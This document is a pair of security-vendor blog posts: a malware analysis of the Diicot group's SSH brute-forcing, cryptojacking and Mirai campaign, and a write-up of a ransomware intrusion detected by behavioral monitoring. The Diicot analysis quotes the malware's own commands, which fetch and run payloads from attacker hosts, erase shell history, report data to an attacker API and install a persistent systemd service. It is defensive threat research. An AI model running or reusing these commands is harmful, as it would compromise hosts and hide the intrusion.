ブログ
/
Cloud
/
June 15, 2023

Tracking Diicot: An Emerging Romanian Threat Actor

Cado researchers (now part of Darktrace) identified a campaign by the threat actor Diicot, focusing on SSH brute-forcing and cryptojacking. Diicot utilizes custom tools, modified packers, and Discord for C2, and has expanded its capabilities to include doxxing and DDoS attacks via a Mirai-based botnet.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
15
Jun 2023

Introduction

In a review of honeypot sensor telemetry in early 2023, researchers from Cado Security Labs, (now part of Darktrace) detected an attack pattern that could be attributed to the threat actor Diicot (formerly, “Mexals”).

Investigation of a command-and-control (C2) server used by Diicot led to the discovery of several payloads, some of which did not appear to have any public reporting and were missing from common public malware repositories. It appears that these payloads were being used as part of a new campaign by this emerging group.  

As this blog will discuss, Diicot capabilities and objectives include:

  • The deployment of a self-propagating initial access tool
  • Use of custom packers to obfuscate binary payloads
  • Widespread cryptojacking on compromised targets
  • Identification of vulnerable systems via internet scanning
  • Personal data exposure of perceived enemies (doxxing)
  • Deployment of a botnet agent implicated in distributed denial-of-service (DDoS) attacks
  • C2 reporting via Discord and a custom API endpoint

Diicot background

Information about Diicot is sparse, but to summarize two of the available resources, they appear to have been active since at least 2020 and are known for conducting cryptojacking campaigns and developing Malware-as-a-Service (MaaS) strains. The group originally referred to themselves as Mexals but have since changed to the name Diicot. The Diicot name is significant, as it is also the name of the Romanian organized crime and anti-terrorism policing unit. In addition, artifacts from the group’s campaigns contain messaging and imagery related to this organization. This, combined with the presence of Romanian-language strings and log statements in the payloads themselves, have led prior researchers to attribute the malware to a group based in Romania [1,2].

Although Diicot have traditionally been associated with cryptojacking campaigns, researchers discovered evidence of the group deploying an off-the-shelf Mirai-based botnet agent, named Cayosin. Deployment of this agent was targeted at routers running the Linux-based embedded devices operating system, OpenWrt [3].

The use of Cayosin demonstrates Diicot’s willingness to conduct a variety of attacks (not just cryptojacking) depending on the type of targets they encounter. This finding is consistent with external research, suggesting that the group are still investing engineering effort into deploying Cayosin [4]. In doing so, Diicot have gained the ability to conduct DDoS attacks, as this is the primary objective of Cayosin according to previous reporting.

Not only do Diicot have the ability to conduct cryptojacking and DDoS attacks, but investigation of one of their servers led to the discovery of a Romanian-language video depicting a feud between the group and what appears to be other online personas.  

It is suspected that these personas are members of a rival hacking group. During the course of the video, members of the rival group are mentioned and their personal details, including photographs, home addresses, full names and online handles are exposed (known as doxxing). From this, it can be concluded that the group are actively involved in doxxing members of the public, in addition to the nefarious activities mentioned above.

For the purpose of avoiding overlap with existing research on Diicot, this blog will provide a brief overview of Diicot’s Tactics, Techniques and Procedures (TTPs) along with the execution chain employed by the group in their latest campaign, before focusing on the latest version of their self-propagating SSH brute-forcer.

Diicot TTPs

Attributing a campaign to Diicot is often straightforward, thanks to the group’s relatively distinctive TTPs. Prior research has shown that Diicot make heavy use of the Shell Script Compiler (shc) [5], presumably to make analysis of their loader scripts more difficult. They also frequently pack their payloads with a custom version of UPX, using a header modified with the bytes 0x59545399. This byte sequence is easily identified by tools, and in combination with a specified offset, can be used as a detection mechanism for the group’s binary payloads.

Modified UPX header
Figure 1: Example modified UPX header

Use of a modified UPX header prevents unpacking via the standard upx -d command. Fortunately, the upx_dec utility created by Akamai can be used to circumvent this.   Running the tool restores the header to the format that UPX expects, allowing the binary to be unpacked as normal.

Diicot also rely heavily on the instant messaging and communication platform Discord for C2. Discord supports HTTP POST requests to a webhook URL, allowing exfiltrated data and campaign statistics to be viewed within a given channel. Cado researchers identified four distinct channels used for this campaign, details of which can be found in the Indicators of Compromise (IoCs) section. Thanks to the inclusion of Snowflake timestamps in the hook URLs, it’s possible to view their creation date. This confirms that the campaign was recent and ongoing at the time of writing

Snowflake timestamp conversion
Figure 2: Snowflake timestamp conversion for main C2 webhook

All of these channels were created within an 11-minute timeframe on April 26, 2023. It is likely that an automated process is responsible for the channel creation.

Based on Discord webhook URLs discovered in the samples, it was possible to determine that the Discord account used to create them was “Haceru#1337”.

Additionally, the guild ID for the webhooks is 1100412946003275858, and the following channel IDs are used:

  • 1100669252161249321 for the webhook in the toDiscord function
  • 1100665251655069716 for the webhook in the toFilter function
  • 1100665176862232606 for the webhook in the toFilter2 function
  • 1100665020934787072 for the webhook in the toFilter3 function

The Discord hook is the Discord default “Captain Hook” webhook, but webhooks for toFilter* have the name “Filter DIICOT”.

SIAS police taskforce
Figure 3: An image of the SIAS police taskforce, which is part of the Diicot agency.

Payload execution

Diicot campaigns generally involve a long execution chain, with individual payloads and their outputs forming interdependent relationships.  

Shc executables are typically used as loaders and prepare the system for mining via Diicot’s custom fork of XMRig, along with registering persistence. Executables written in Golang tend to be dedicated to scanning, brute-forcing and propagation, and a fork of the zmap [6] internet scanning utility has often been observed.

The execution chain itself remains largely consistent with campaigns reported by the external researchers previously mentioned, with updates to the payloads themselves observed during Cado Labs’ analysis.

Chain of Execution
Figure 4: Chain of Execution

aliases

Initial access for the Diicot campaign is via a custom SSH brute-forcing tool, named aliases. This executable [7] is a 64-bit ELF written in Golang, and is responsible for ingesting a list of target IP addresses and username/password pairs to conduct a brute force attack.  

bins.sh

bins.sh is executed if aliases encounters an OpenWrt router during the initial access phase, bins.sh is a fairly generic Mirai-style spreader script that attempts to retrieve versions of the Cayosin botnet’s agent for multiple architectures.

cutie.<arch>

cutie.<arch> is a series of 32-bit ELF binaries retrieved by bins.sh if an OpenWrt router is encountered.  cutie.<arch> is a variant of Mirai, specifically Cayosin [8]. Cursory inspection of the ARM variant using open-source intelligence (OSINT) shows a high detection ratio, with most vendors detecting the executable as Mirai [9]. This suggests that the malware has not been customized by Diicot for this campaign.

payload

payload is a 64-bit ELF shc executable that simply calls out to bash and runs a shell script in memory. The script acts as a loader, preparing the target system for cryptocurrency mining, changing the password of the current user,  and installing XMRig if the target has more than four processor cores.  

When changing the user’s password, some simple logic is included to determine whether the user ID is equal to 0 (root). If so, the password is changed to a hardcoded value of $6$REY$R1FGJ.zbsJS/fe9eGkeS1pdWgKbdszOxbUs/E0KtxPsRE9jUCIXkxtC" "MJ9bB1YwOYhKWSSbr/' (inclusive of whitespace and double quotes).  

If the user is not root, “payload” will generate a password by running the date command, piping this through sha256sum and then through base64. The first eight characters of the result are then used for the password itself.  

“payload” also removes any artifacts of prior compromise (a common preparatory action taken by cryptojacking groups) and reports information such as username, password, IP address and number of cores back to an attacker-controlled IP.

.diicot

.diicot is another shc executable serving as a loader for an additional executable named Opera, which is the XMRig miner deployed by Diicot. .diicot begins with an existence check for Opera and retrieves it along with a XMRig configuration file if it doesn’t exist. The details of the mining configuration are viewable in the IoCs section.  

After retrieving and executing the miner, .diicot registers an attacker-controlled SSH key to maintain access to the system. It also creates a simple script under the path /var/tmp/Documents/.b4nd1d0 which is used to relaunch the miner if it’s not running and executes this via cron at a frequency of every minute.  

The sample also checks whether the SSH daemon is running, and executes it if not, before proceeding to automate this functionality as part of a systemd service. The service is saved as /lib/systemd/system/myservice.service and is configured to execute on boot.

echo '[Unit] 
Description=Example systemd service. 
[Service]" "=3600 
ExecStart=/bin/bash /usr/bin/sshd 
[Install] 
WantedBy=multi-user.target' > /lib/systemd/system/myservice.service 
sleep 1 
chmod 644 /lib/systemd/system/myservice.service 
systemctl enable myservice 
systemctl start myservice 

Example commands to register and load the sshd systemd service

Chrome

Chrome is an internet scanner that appears to be based on Zmap. The main difference between the Diicot fork and the original is the ability to write the scan results to a text file in the working directory, with a hardcoded name of bios.txt. This is then read by aliases as a target list for conducting SSH brute-forcing.

Update

Update is another shc executable that retrieves Chrome and aliases if they don’t exist. Update also writes out a hardcoded username/password combination list to a file named protocols in the working directory. This is also read by aliases and used for SSH brute-forcing. Update also includes logic to generate a randomised /16 network prefix. Chrome is then run against this address range. A cronjob is also created to run History and Update and is saved as .5p4rk3l5 before being loaded.

History

History is a very simple plaintext (i.e. uncompiled) shell script that checks whether Update is running and executes it if not; the results of which are logged to standard out.

Analysis of aliases

The sample of aliases we obtained was located at 45[.]88[.]67[.]94/.x/aliases. The last modified header in the HTTP response indicates that it was uploaded to the server on the May 27 when Cado researchers first obtained it, but was updated again on June 5th.

main

This is the main entry point of the go binary. Upon launch, it performs a HTTP GET request to hxxp://45[.]88[.]67[.]94/diicotapi/skema0803 (skema0803 appears to be a hardcoded API key that appears in many Diicot samples). If this fails, or the response does not contain a Discord webhook, then the malware exits with an error message stating that the API was unreachable.

The malware then calls readLines on bios.txt to load a list of IPs to attack, and again on protocols to load a space-delimited list of credentials to attack each IP with. It repeats this process twice, once for port 22, and again for port 2000.

Once this is complete, it spawns a new goroutine (a lightweight thread) for each address and credential combination, with a small delay between each spawn. The goroutine executes the remoteRun function. The main thread applies a 60 second timeout to the goroutines, and exits once there are none left.

init_0

The init_0 function appears to be the result of go optimization. It loads a number of variables into qwords in the .bss section of the binary, including a stringified shell script (referred to above as payload) that is ultimately run on compromised machines. These qwords are then used at various points in the malware.

Interestingly, there is another call here to the diicotapi, and the webhook retrieved is saved into a qword. This does not appear to be used anywhere, making it likely leftover from a previous iteration of aliases.

Figure 5: Disassembly of init_0

toDiscord  

The toDiscord function takes in a string and concatenates it into a curl command, which is then executed via bash. As they have used the go HTTP client module elsewhere, it is unclear why they have decided to use curl instead of it.

Figure 6

toFilter*

The three toFilter functions are the same as toDiscord but with different URLs. They are used later on to send details of the compromised machines to separate Discord channels based on the outcome of the payload script executed on freshly compromised machines. The payload either additionally deploys a cryptominer if the host has four or more cores or just uses the host as a spreader if it has less. It would make sense that they would want to track which hosts are being used to mine and which are being used to spread.  

toApi

The toApi function is similar to the toDiscord and toFilter functions, but sends requests to the attacker’s API. The string passed into the function is first written to /tmp/.txt, and then base64 encoded and passed into an environmental variable called “haceru” (Romanian for hacker). It then executes curl -s arhivehaceru[.]com:2121/api?haceru=$haceru to report this string back to the C2 server.

remoteRun

The remoteRun function takes in an IP, port, and credential pair. It uses the crypto/ssh go package to connect and attempt to authenticate using the details provided. After a successful login, a series of commands are executed to gather information about the compromised system:

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

  • This fetches the uptime of the system, which can be useful for determining if the compromised system is a sandbox, which would likely have a low uptime.

lspci | egrep VGA  && lspci | grep 3D

  • This fetches a list of graphics devices connected to the system, which can be used for mining cryptocurrency. However, Diicot’s choice of crypto is Monero, which is typically CPU mined rather than GPU mined.

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

  • This fetches the model of CPU installed in the system, which will determine how quickly the server can mine Monero.

curl ipinfo.io/org

  • This fetches the organization associated with the ASN of the compromised machine's IP address.

nproc

  • This fetches the number of processes running on the compromised machine. Sandboxes and honeypots will typically have fewer running processes, so this information assists Diicot with determining if they are in a sandbox.

uname -s -v -n -r -m

  • This fetches the system hostname, kernel & operating system version information, and arch. This is used to determine whether to infect the machine or not, based on a string blacklist.

Once this is complete, the malware checks that the output of uname contains OpenWrt. If it does, it executes the following command to download bins.sh, the Mirai spreader:

<code>​​cd /var/tmp || cd /tmp/ ; wget -q hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh || curl -O -s -L hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh ; chmod 777 bins.sh; sh bins.sh ; rm -rf .* ; rm -rf * ; history -c ; rm -rf ~/.bash_history</code> 

The malware then continues (regardless of whether the system is running OpenWrt) to check the output of uname against a blacklist of strings, which include various cloud providers such as AWS, Linode, and Azure among more generic strings like specific kernel versions and specific services.  

It is unclear why exactly this is. The most likely case is that once they detect that payload did not run properly (sent via one of the toFilter webhooks) they simply blacklist the uname to avoid trying to infect it in the future. It could also be to prevent the malware from running on honeypots, or cloud providers that are likely to detect the cryptominer. It also checks the architecture of the system, as Opera, the custom fork of XMRig, appears to be x86_64 only.

Once these checks have passed, the malware then runs the following script on the compromised host, which downloads and runs the shell script payload:

<code>crontab -r ; cd /var/tmp ; rm -rf /dev/shm/.x ; mkdir /var/tmp/Documents &gt; /dev/null 2&gt;&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ; wget -q arhivehaceru[.]com/payload || curl -O -s -L arhivehaceru[.]com/payload || wget -q 45[.]88[.]67[.]94/payload || curl -O -s -L 45[.]88[.]67[.]94/payload ; chmod 777 payload ; ./payload &gt; /dev/null 2&gt;&1 & disown ; history -c ; rm -rf .bash_history ~/.bash_history</code> 

Depending on the environment, payload performs different functions. It either additionally deploys a cryptominer if the host has four or more cores, or just uses the host as a spreader if it has less. To keep track of this, one of the three toFilter methods will be used depending on the output of the executed command. It constructs a Discord embed, and puts the credentials, IP, SSH port (22 or 2000), and output of the commands run during the discovery phase and invokes the chosen toFilter function with this data in JSON form.

Regardless of the toFilter function chosen, the same embed is also passed to toDiscord and toApi.

readLines

The readLines function is a utility function that takes in a file path and reads it into a list of lines. This function is used to load in the IP addresses to attack and the credential combinations to try against them.

Figure 7: Snippet of readLines disassembly

Conclusion

Diicot are an emerging threat group with a range of objectives and the technical knowledge to act on them. This campaign specifically targets SSH servers exposed to the internet with password authentication enabled. The username/password list they use is relatively limited and includes default and easily-guessed credential pairs.  

The research team encourages readers to implement basic SSH hardening to defend against this malware family, including mandatory key-based authentication for SSH instances and implementation of firewall rules to limit SSH access to specific IPs.  

A lengthy and convoluted execution chain can make analysis of a Diicot campaign feel laborious. The group also employs basic obfuscation techniques, such as compiling shell scripts with shc and using a modified UPX header for their binary payloads. These techniques are easily bypassed as an analyst, often revealing executables without further obfuscation and with debug symbols intact.  

The payloads themselves are often noisy in their operation, as is expected with any brute-forcing malware. Scanning attempts from Diicot’s fork of Zmap are particularly noisy and can result in a multitude of outbound SYN packets to addresses within a random /16 network prefix. This activity should be easily identified by administrators with adequate network monitoring in place.

Indicators of compromise

Discord webhooks

hxxps://discord[.]com/api/webhooks/1100669270297419808/UQ2bkUBe9JgAhtEIPYqpqKG6YVRW1fqEkadAY3u6PPmcgEVcYaSRiS37JILi2Vk32or6

hxxps://discord[.]com/api/webhooks/1100666861424754708/pAzInuz8ekK5DmKyoKxmG4H8euCtLkBXZnS33EGnxdl0_hkL5OdRbInQqgdGiQ1U41WF

hxxps://discord[.]com/api/webhooks/1100666766339866694/ex_yUegpCF4NXGkT3sGFp3oWFUkJWE7XarcgTHRcAwmJQtG4pALhcj6PjKUTthNz_0u_

hxxps://discord[.]com/api/webhooks/1100666664623812650/_t9NyLTT_Rbg_Vr14n6YCBkseXrz-RpSe94SFIw-1Pyrkns80tU9uWJL3yjc3eLXo0IU

URLs

arhivehaceru[.]com

Files : SHA-256

Update : 437af650493492c8ef387140b5cb2660044764832d1444e5265a0cd3fe6e0c39

aliases : de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864

aliases (variant) : a163da5c4d6ee856a06e4e349565e19a704956baeb62987622a2b2c43577cdee

Chrome : 14779e087a764063d260cafa5c2b93d7ed5e0d19783eeaea6abb12d17561949a

History : e9bbe9aecfaea4c738d95d0329a5da9bd33c04a97779172c7df517e1a808489c

.diicot : 7389e3aada70d58854e161c98ce8419e7ab8cd93ecd11c2b0ca75c3cafed78cb

bins.sh : 180d30bf357bc4045f197b26b1b8941af9ca0203226a7260092d70dd15f3e6ab

cutie.x86_64 : 7d93419e78647d3cdf2ff53941e8d5714afe09cb826fd2c4be335e83001bdabf

payload : d0e8a398a903f1443a114fa40860b3db2830488813db9a87ddcc5a8a337edd73

… : 6bce1053f33078f3bbbd526162d9178794c19997536b821177f2cb0d4e6e6896

Opera : aabf2ef1e16a88ae0d802efcb2525edb90a996bb5d280b4c61d2870351e3fba4

IP addresses

45[.]88[.]67[.]94

84[.]54[.]50[.]198

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GBoIuIYIhrJsQxF6OPHtAbOUIEFB+gdfb1tUTjs+f9zCMGkmNmH45fYVukw6IwmhTZ+AcD3eD "iImmgU9wlw/lalf/WrIuCDp0PArQtjNg/vo7HUGq9SrEIE2jvyVW59mvoYOwfnDLUiguKZirZgpjZF2DDKK6WpZVTVpKcH+HEFdmFAqJInem/CRUE0bqjMr88bUyDjVw9FtJ5EmQenctjrFVaB7hswOaJBmFQmn9G/BXkMvZ6mX7LzCUM2PVHnVfVeCLdwiOINikzW9qzlr8WoHw4qEGJLuQBWXjJu+m2+FdaOD6PL53nY3w== ElPatrono1337

Mining pools

45[.]88[.]67[.]94:7777

139[.]99[.]123[.]196:80

pool[.]supportxmr[.]com:80

Mining pool usernames

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

Mining pool passwords

proxy0

proxy1

proxy2

Paths

/var/tmp/Documents/

/var/tmp/Documents/.b4nd1d0

/var/tmp/Documents/.5p4rk3l5

/var/tmp/Documents/Opera

/var/tmp/Documents/.diicot

/var/tmp/.update-logs

/tmp/...

/var/tmp/.ladyg0g0/

/var/tmp/.ladyg0g0/.pr1nc35

/lib/systemd/system/myservice.service

/usr/bin/.pidsclip

/usr/bin/.locatione

References

  1. https://www.akamai.com/blog/security-research/mexals-cryptojacking-malware-resurgence   ‍
  2. https://www.bitdefender.com/en-gb/blog/labs/how-we-tracked-a-threat-group-running-an-active-cryptojacking-campaign 
  3. https://openwrt.org/
  4. https://securityaffairs.com/80858/cyber-crime/cayosin-botnet-mmd.html  
  5. https://github.com/neurobin/shc
  6. https://zmap.io/
  7. https://www.virustotal.com/gui/file/de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864
  8. https://twitter.com/malwaremustd1e/status/1297821500435726336?lang=en
  9. https://www.virustotal.com/gui/file/b328bfa242c063c8cfd33bc8ce82abeefc33b5f8e34d0515875216a322954b01
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

Network

/

July 28, 2026

Hiding in Plain Sight: Uncovering a Multi-Stage Ransomware Attack Through Behavioral Detection

Default blog imageDefault blog image

Why ransomware has changed

Ransomware attacks have continued to increase globally, with 698 incidents reported in May 2026, representing a 48% rise compared to 472 incidents in May 2025 [1]. At the same time, the ransomware landscape is evolving. Several major ransomware groups, including LockBit [2], have been disrupted by successful joint law enforcement operations, resulting in a shift away from a small number of dominant actors towards a more fragmented and distributed ecosystem. This is increasingly composed of smaller groups who play a specialized role in the attack, such as initial access brokers, affiliates or developers.

As a result, ransomware tactics, techniques, and procedures (TTPs) are becoming more diverse and less predictable. On top of this, adversaries are leveraging native tools and legitimate penetration testing frameworks to evade detection. Anomaly-based detection is therefore critical to identify pre-ransomware activity, rather than relying on signatures associated with a handful of well-known ransomware groups.

As these attacks often unfold over several days, there is a critical window for defenders to act. In this context, behavioral-based detection plays a vital role in identifying suspicious pre-ransomware activity, and enabling early intervention before encryption or exfiltration occurs.

Inside a modern ransomware intrusion

In early 2026, Darktrace detected activity within a customer’s environment related to a multi-stage ransomware intrusion from the initial compromise. This activity does not appear to be attributable to a specific ransomware group, and no known ransomware payload was observed until the final stage.

The attack aligns with a broader industry trend in which compromised virtual private network (VPN) credentials are used as an entry point, followed by rapid internal reconnaissance and lateral movement using legitimate administrative tools. This growing preference for native tools and legitimate frameworks in cyber-attacks illustrates that it is increasingly unreliable to depend solely on traditional indicators of compromise such as known malware signatures or exploit detection.

The intrusion also involved the use of Sliver, an open-source adversary emulation framework, which is increasingly observed in real-world attacks. Originally designed for penetration testing and red teaming, Sliver has gained traction among threat actors as a stealthier alternative to more heavily signatured frameworks such as Cobalt Strike. As a legitimate framework, its use further complicates detection for security tools that rely on known malicious signatures.

Darktrace’s detection of a ransomware event in a customer’s environment

The initial compromise appears to have occurred via compromised credentials used over the VPN shortly before, or at the onset of the first indicators of suspicious activity. While it remains unclear as to how or when the threat actors gained access to these credentials, the use of initial access brokers (IABs) is a common feature of modern ransomware operations. This suggests that access to the environment may have been established several days or weeks beforehand.

The intrusion unfolded over three days, presenting multiple opportunities for early detection and intervention before ransomware deployment. The attack progressed through a compressed but structured sequence: initial access and reconnaissance were completed within hours, followed by privilege escalation and lateral movement the next day, and culminating in data exfiltration and encryption shortly thereafter. Throughout each stage, distinct behavioral anomalies emerged across the network providing clear indicators of malicious activity well before the ransomware was deployed.

While Darktrace’s Autonomous Response capability was enabled within the customer’s environment, it was not fully configured across the impacted devices, allowing the attack to progress to ransomware deployment. Had Autonomous Response been fully deployed across the affected systems, it could have taken targeted action against the earliest stages of malicious activity, potentially disrupting the intrusion before it escalated.

Figure 1: Timeline of the attack progression.

Day 1: Reconnaissance and privilege escalation

The threat actor gained access via compromised VPN credentials and initiated internal reconnaissance. Darktrace detected anomalous scanning behavior, including unusual port scanning activity and widespread network enumeration.

Specifically, Darktrace detected a high volume of east-west scanning activity across a broad range of ports, with TCP connections targeting ports 21, 80, 445, 4899 and 8080. Associated URIs suggested the use of Nmap, a widely used penetration testing tool. This highlights how attackers often leverage legitimate penetration testing tools for malicious reconnaissance, enabling them to blend into normal network activity and evade traditional signature-based detection methods.

Figure 2: Darktrace's detection of a sharp increase in anomalous internal connections, triggering multiple high-severity model alerts associated with reconnaissance activity.

Several devices were observed using administrative credentials to carry out privileged actions in a manner that was highly anomalous for the environment. This activity was accompanied by behavior consistent with SMB authentication scanning, suggesting efforts to identify and access additional systems. As the activity intensified, an increasing number of devices became involved, signalling lateral movement and further spread across the network.

Darktrace also identified privilege escalation through active directory (AD) replication abuse, specifically via the drsuapi::DRSGetNCChanges function. This technique allows an attacker with sufficient privileges to request directory replication data from a domain controller (DC), enabling them to extract credentials, including password hashes, without directly interacting with user accounts. Commonly associated with ‘DCSync’ attacks, this technique is frequently used to obtain highly privileged credentials and enable further escalation within an environment.

Figure 3: Darktrace’s detection of anomalous AD replication activity indicative of privilege escalation.

This activity was seen alongside the use of the now obsolete SMBv1, repeated NTLM authentication attempts using multiple variations of ‘Administrator’ credentials, reverse DNS scanning, and large-scale network scanning. Darktrace observed widespread use of SMBv1 across the customer’s environment, exposing a significant security weakness. As a legacy protocol with well-documented weaknesses, SMBv1 can be exploited to facilitate lateral movement, allowing the attackers to expand their access following initial compromise.

Day 3: Lateral Movement, Command & Control, and Exfiltration

Two days later, the attacker escalated privileges and expanded their foothold using living-off-the-land (LOTL) techniques such as PSExec, WMI, and RDP. Concurrently, Darktrace identified command-and-control (C2)-style communications consistent with the Sliver framework, alongside rare outbound connections to cloud infrastructure indicating potential data exfiltration. The volume and severity of observed activity increased as attack behavior intensified.

The device was observed conducting extensive lateral movement, leveraging LOTL techniques to evade detection. Activity included WMI execution (e.g. ExecQuery), DCE-RPC activity, SMB sessions and file writes, most of which were successful, as well as the deployment of PSEXESVC.exe via ADMIN$ shares and prolonged RDP sessions. Darktrace identified this behavior as highly anomalous for the environment. Such activity is commonly associated with the transfer of attacker tooling, remote command execution, and the establishment of persistent access across compromised systems.  

Figure 4: Darktrace’s detection of a spike in RPC binding events indicative of potential lateral movement.

On the same day, Darktrace detected C2-style SSL communications originating from multiple internal devices to rare external endpoints. These connections exhibited anomalous characteristics, including invalid SSL certificates and repeated connection patterns resembling beaconing. Analysis of the observed JA3 fingerprint further linked the activity to Sliver, the adversary simulation framework referenced earlier, as the hash has previously been associated with Sliver-related infrastructure [3]. The use of this framework reflects a broader trend of attackers repurposing legitimate offensive security tools for stealthy C2 communications. Connections to 137[.]220[.]59[.]55 (ASN AS20473 AS-VULTR) indicated that the communications were likely routed via a virtual private server (VPS) hosted by Vultr. Attackers often utilize VPS infrastructure from legitimate cloud providers like Vultr to obscure their true origin, blend into benign traffic, and evade IP-based detection mechanisms [4].

Figure 5: Darktrace’s Cyber AI Analyst detection of two linked unusual connections to Vultr infrastructure.

Darktrace also observed a device initiating SSL connections to safedata.s3[.]wasabisys[.]com, an endpoint associated with Wasabi cloud storage. Darktrace recognized that neither the destination nor the associated IP address had previously been observed within the environment.  More than 200 MB of data was subsequently uploaded externally to endpoints sharing the same JA3 client hash, indicating a sustained transfer session and potential data exfiltration to third-party storage. The apparent exfiltration prior to encryption is consistent with a double-extortion ransomware strategy.

Figure 6: Darktrace’s Cyber AI Analyst detection of more than 30 rare outbound connections to a Wasabi cloud storage endpoint, indicative of potential data exfiltration

Day 4: Encryption

The attack culminated in ransomware deployment, marking the transition from suspicious network activity to a business-impacting incident. Using SMB-based propagation, the threat actor encrypted thousands of files across the network, affecting multiple systems and disrupting normal operations. Throughout the encryption event, the legacy SMBv1 protocol was used extensively across multiple internal systems, resulting in a significant increase in newly encrypted files.

Figure 7: Darktrace’s detection of abnormal spikes in SMB activity and associated model alerts, indicative of ransomware encryption and propagation.

Darktrace’s Cyber AI Analyst automatically investigated and correlated the encryption activity and related events into a single incident narrative, providing the customer with real-time visibility into the attack while significantly reducing investigation time.

Figure 8: Darktrace’s Cyber AI Analyst’s investigation into the encryption activity. AI Analyst incident detailing example encryption activity in real time. Related events are automatically correlated and summarized into a clear narrative, reducing investigation time.

Defender action recommendations

What Could Have Stopped the Attack Earlier?

Although the attack ultimately resulted in ransomware deployment, there were multiple opportunities to detect, contain, and disrupt the intrusion before encryption occurred. The following actions could have significantly reduced the overall impact:

Detect and investigate indicators of reconnaissance and lateral movement

  • Unusual scanning
  • Active Directory replication anomalies consistent with DCSync activity
  • Anomalous use of native tools and processes indicative of LOTL attacks
  • Unusual use of common reconnaissance tools such as Nmap and NetScan

Contain compromised credentials and affected devices

  • Disable and reset compromised VPN credentials
  • Isolate devices performing anomalous scanning and lateral movement activity

Block suspicious external communications and data exfiltration

  • Use anomaly-based detection to detect and block repeated outbound connections to rare external infrastructure
  • Prevent data exfiltration to unauthorized cloud storage services such as Wasabi

Conclusion

The incident highlights the importance of anomaly-based detection, particularly against attacks that primarily use native or legitimate tools to evade traditional security measures. Darktrace identified suspicious activity from the first day of the compromise, providing multiple opportunities to disrupt the intrusion before it progressed to lateral movement and data exfiltration.

In this instance, detection was not the limiting factor; response time was. Prompt investigation and containment of devices exhibiting anomalous behavior could have prevented lateral movement, data exfiltration, and ultimately ransomware deployment.

As adversaries increasingly prioritize stealth over custom malware, relying instead on legitimate tools, valid credentials, and trusted infrastructure, traditional signature-based detection becomes less effective. Identifying subtle behavioral deviations early remains critical to disrupting attacks before they escalate into full-scale ransomware incidents.

Credit to Alexandra Evzona (Cyber Analyst), Priya Thapa (Senior Cyber Analyst)
Edited by Ryan Traill (Content Manager)

Appendices

References

[1] https://industrialcyber.co/ransomware/check-point-reports-ransomware-attacks-jump-48-year-over-year-despite-decline-in-overall-cyberattack-activity/

[2] https://www.europol.europa.eu/media-press/newsroom/news/law-enforcement-disrupt-worlds-biggest-ransomware-operation

[3] https://fieldeffect.com/blog/field-effect-mitigates-not-so-simplehelp-exploits-enabling-deployment-of-backdoors

[4] https://www.darktrace.com/blog/from-vps-to-phishing-how-darktrace-uncovered-saas-hijacks-through-virtual-infrastructure-abuse

Indicators of Compromise (IoCs)

IP Addresses

  • 137[.]220[.]59[.]55 – Potential C2 infrastructure (Vultr AS20473)
  • 38[.]27[.]106[.]123 – Wasabi cloud storage endpoint associated with potential data exfiltration
  • 38[.]27[.]106[.]128 – Wasabi cloud storage endpoint associated with potential data exfiltration
  • 38[.]27[.]106[.]117 – Wasabi cloud storage endpoint associated with potential data exfiltration

Domains

  • safedata[.]s3[.]wasabisys[.]com – Potential data exfiltration endpoint
  • *.wasabisys[.]com – Associated Wasabi cloud storage infrastructure

JA3 Fingerprint

  • d6828e30ab66774a91a96ae93be4ae4c – Associated with the Sliver adversary emulation framework

Files

  • Delete[.]me – File observed during reconnaissance activity, commonly associated with NetScan

Darktrace Model Coverage

·       Anomalous Connection / Active Remote Desktop Tunnel

·       Anomalous Connection / Anomalous Remote Registry Service Control

·       Anomalous Connection / Multiple Failed Windows UDP

·       Anomalous Connection / New or Uncommon Service Control

·       Anomalous Connection / New or Uncommon Service Enumeration

·       Anomalous Connection / New User Agent to IP Without Hostname

·       Anomalous Connection / SMB Enumeration

·       Anomalous Connection / Suspicious Activity On High Risk Device

·       Anomalous Connection / Suspicious Read Write Ratio

·       Anomalous Connection / Sustained MIME Type Conversion

·       Anomalous Connection / Uncommon 1 GiB Outbound

·       Anomalous Connection / Unusual Admin RDP Session

·       Anomalous Connection / Unusual Admin SMB Session

·       Anomalous Connection / Unusual SMB Version 1 Connectivity

·       Anomalous File / EXE from Rare External Location

·       Anomalous File / Internal / Additional Extension Appended to SMB File

·       Anomalous Server Activity / Outgoing from Server

·       Compromise / Beaconing Activity To External Rare

·       Compromise / Ransomware / Possible Ransom Note Read

·       Compromise / Ransomware / Ransom or Offensive Words Written to SMB

·       Compromise / Ransomware / Suspicious SMB Activity

·       Device / Anonymous NTLM Logins

·       Device / Attack and Recon Tools

·       Device / Initial Attack Chain Activity

·       Device / Large Number of Model Alerts

·       Device / Long Agent Connection to New Endpoint

